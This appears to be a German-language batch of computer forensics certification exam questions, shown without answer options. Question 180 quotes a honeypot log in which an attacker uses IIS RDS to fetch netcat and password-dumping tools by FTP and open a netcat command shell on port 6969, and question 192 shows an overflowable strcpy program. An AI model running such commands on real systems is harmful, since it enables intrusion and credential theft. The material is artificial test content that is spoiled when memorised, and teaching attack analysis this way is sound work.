NEUE FRAGE 180
Der folgende Auszug stammt aus einem Honeypot-Protokoll, das bei lab.wiretrip.net gehostet wurde. Kurz gemeldete Unicode-Angriffe von 213.116.251.162. Die File Permission Canonicalization-Schwachstelle (UNICODE-Angriff) erlaubt es, Skripte in beliebigen Ordnern auszuführen, die normalerweise nicht das Recht haben, Skripte auszuführen. Der Angreifer versucht einen Unicode-Angriff und hat schließlich Erfolg beim Anzeigen der boot.ini.
Dann geht er dazu über, mit RDS zu spielen, und zwar über msadcs.dll. Die RDS-Schwachstelle ermöglicht es einem böswilligen Benutzer, SQL-Anweisungen zu erstellen, die Shell-Befehle (z. B. CMD.EXE) auf dem IIS-Server ausführen. Er führt eine kurze Abfrage durch, um festzustellen, dass das Verzeichnis existiert, und eine Abfrage an msadcs.dll zeigt, dass es korrekt funktioniert. Der Angreifer stellt eine RDS-Abfrage, die dazu führt, dass die Befehle wie unten gezeigt ausgeführt werden.
"cmd1.exe /c open 213.116.251.162 >ftpcom"
"cmd1.exe /c echo johna2k >>ftpcom"
"cmd1.exe /c echo haxedj00 >>ftpcom"
"cmd1.exe /c echo get nc.exe >>ftpcom"
"cmd1.exe /c echo get pdump.exe >>ftpcom"
"cmd1.exe /c echo get samdump.dll >>ftpcom"
"cmd1.exe /c echo quit >>ftpcom"
"cmd1.exe /c ftp -s:ftpcom"
"cmd1.exe /c nc -l -p 6969 -e cmd1.exe"
Was können Sie aus der gegebenen Ausbeutung ableiten?

NEUE FRAGE 181
Annie ist auf der Suche nach bestimmten gelöschten Dateien auf einem System mit dem Betriebssystem Windows XP. Wo kann sie die Dateien finden, wenn sie nicht vollständig vom System gelöscht wurden?

NEUE FRAGE 182
Woher stammt die E-Mail in der folgenden Kopfzeile?

NEUE FRAGE 183
Nach welcher Vorschrift muss eine Originalaufnahme vorgelegt werden, um den Inhalt einer Aufnahme zu beweisen?

NEUE FRAGE 184
Ron, ein Experte für Computerforensik, ermittelt in einem Fall von Wirtschaftsspionage. Er hat am Tatort mehrere mobile Computergeräte sichergestellt. Eines der Beweismittel, die Ron besitzt, ist ein Mobiltelefon von Nokia, das im eingeschalteten Zustand zurückgelassen wurde. Ron muss die IMEI-Nummer des Geräts wiederherstellen, um die Identität des Gerätebesitzers zu ermitteln. Welche der folgenden Schlüsselkombinationen kann er verwenden, um die IMEI-Nummer zu ermitteln?

NEUE FRAGE 185
Was bedeutet das "nnnn" bei der Kennzeichnung von Beweismitteln, die im Format "aaa/ddmmyy/nnnn/zz" gesammelt wurden?

NEUE FRAGE 186
Welcher der folgenden Ereignis-Korrelationsansätze ist eine fortgeschrittene Korrelationsmethode, die davon ausgeht und vorhersagt, was ein Angreifer nach dem Angriff als Nächstes tun kann, indem er Statistiken und Wahrscheinlichkeiten untersucht und nur zwei Variablen verwendet?

NEUE FRAGE 187
Welcher der folgenden E-Mail-Header gibt eine Adresse an, an die vom Mailer generierte Fehlermeldungen (z. B. "no such user") zu senden sind (anstelle der Adresse des Absenders)?

NEUE FRAGE 188
Welche der folgenden Dateien enthält die Spuren der installierten, ausgeführten oder deinstallierten Anwendungen auf einem System?

NEUE FRAGE 189
Travis, ein Ermittler für Computerforensik, schließt einen Fall ab, an dem er seit über einem Monat arbeitet und bei dem es um Urheberrechtsverletzungen und Veruntreuung geht. Seine letzte Aufgabe besteht darin, einen Untersuchungsbericht für den Präsidenten des Unternehmens, für das er arbeitet, zu erstellen. Travis muss eine gedruckte und eine elektronische Kopie an den Präsidenten schicken. In welchem elektronischen Format sollte Travis den Bericht übermitteln?

NEUE FRAGE 190
Eine Möglichkeit, das Vorhandensein von versteckten Partitionen auf der Festplatte eines Verdächtigen festzustellen, besteht darin:

NEUE FRAGE 191
Studieren Sie das unten stehende Protokoll und beantworten Sie die folgende Frage:
Apr 24 14:46:46 [4663]: spp_portscan: portscan erkannt von 194.222.156.169 Apr 24 14:46:46 [4663]: IDS27/FIN Scan: 194.222.156.169:56693 -> 172.16.1.107:482 Apr 24 18:01:05 [4663]: IDS/DNS-Versionsabfrage: 212.244.97.121:3485 -> 172.16.1.107:53 Apr 24 19:04:01 [4663]: IDS213/ftp-passwd-retrieval: 194.222.156.169:1425 -> 172.16.1.107:21 Apr 25 08:02:41 [5875]: spp_portscan: PORTSCAN ERKANNT von 24.9.255.53 Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4499 -> 172.16.1.107:53 Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4630 -> 172.16.1.101:53 Apr 25 02:38:17 [5875]: IDS/RPC-rpcinfo-query: 212.251.1.94:642 -> 172.16.1.107:111 Apr 25 19:37:32 [5875]: IDS230/web-cgi-space-wildcard: 198.173.35.164:4221 -> 172.16.1.107:80 Apr 26 05:45:12 [6283]: IDS212/dns-zone-transfer: 38.31.107.87:2291 -> 172.16.1.101:53 Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53 Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user simple by (uid=0) Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user simon by simple(uid=506) Apr 26 06:45:34 [6283]: IDS175/socks-probe: 24.112.167.35:20 -> 172.16.1.107:1080 Apr 26 06:52:10 [6283]: IDS127/telnet-login-incorrect: 172.16.1.107:23 -> 213.28.22.189:4558 Zu den Vorsichtsmaßnahmen, um diesen Angriff zu verhindern, gehört das Schreiben von Firewall-Regeln. Welche der folgenden Firewall-Regeln wäre geeignet?

NEUE FRAGE 192
Kyle führt die abschließenden Tests einer Anwendung durch, die er für die Buchhaltungsabteilung entwickelt hat.
Seine letzte Testrunde soll sicherstellen, dass das Programm so sicher wie möglich ist. Kyle führt den folgenden Befehl aus. Was testet er zu diesem Zeitpunkt?
#include #include int main(int argc, char
*argv[]) { char buffer[10]; if (argc < 2) { fprintf (stderr, "USAGE: %s stringn", argv[0]); return 1; } strcpy(buffer, argv[1]); return 0; }

NEUE FRAGE 193
Ein Angestellter versucht, die auf einigen CDs und DVDs gespeicherten Daten mit Hilfe eines großen Magneten zu löschen. Sie teilen ihm mit, dass diese Methode zum Löschen der Daten nicht wirksam ist, da CDs und DVDs ______________ Medien sind, die zum Speichern großer Datenmengen verwendet werden und von dem Magneten nicht betroffen sind.

NEUE FRAGE 194
Welcher der folgenden Angriffe bezieht sich auf das unbeabsichtigte Herunterladen von Schadsoftware über das Internet? Hier nutzt ein Angreifer Schwachstellen in der Browsersoftware aus, um Schadsoftware zu installieren, indem der Nutzer einfach die bösartige Website besucht.

NEUE FRAGE 195
Kürzlich hat eine interne Webanwendung, die von einer Regierungsbehörde genutzt wird, nicht mehr reagiert. Betty, eine Netzwerkingenieurin der Regierungsbehörde, wurde beauftragt, die Ursache für das Nichtreagieren der Webanwendung zu ermitteln. Betty startet Wlreshark und beginnt mit der Aufzeichnung des Datenverkehrs im lokalen Netzwerk. Bei der Analyse der Ergebnisse stellt Betty fest, dass ein Synflood-Angriff im Gange ist. Woher wusste Betty, dass ein Synflood-Angriff stattfand?

NEUE FRAGE 196
Kimberly macht eine Ausbildung zur IT-Sicherheitsanalytikerin an einer Berufsschule in ihrer Stadt. Die Schule bietet viele verschiedene Programmier- und Netzwerksprachen an. Welche Netzwerkprotokollsprache sollte sie lernen, die von Routern verwendet wird?

NEUE FRAGE 197
Welche Erweiterung verwendet das Betriebssystem Windows für Verknüpfungsdateien auf dem Computer?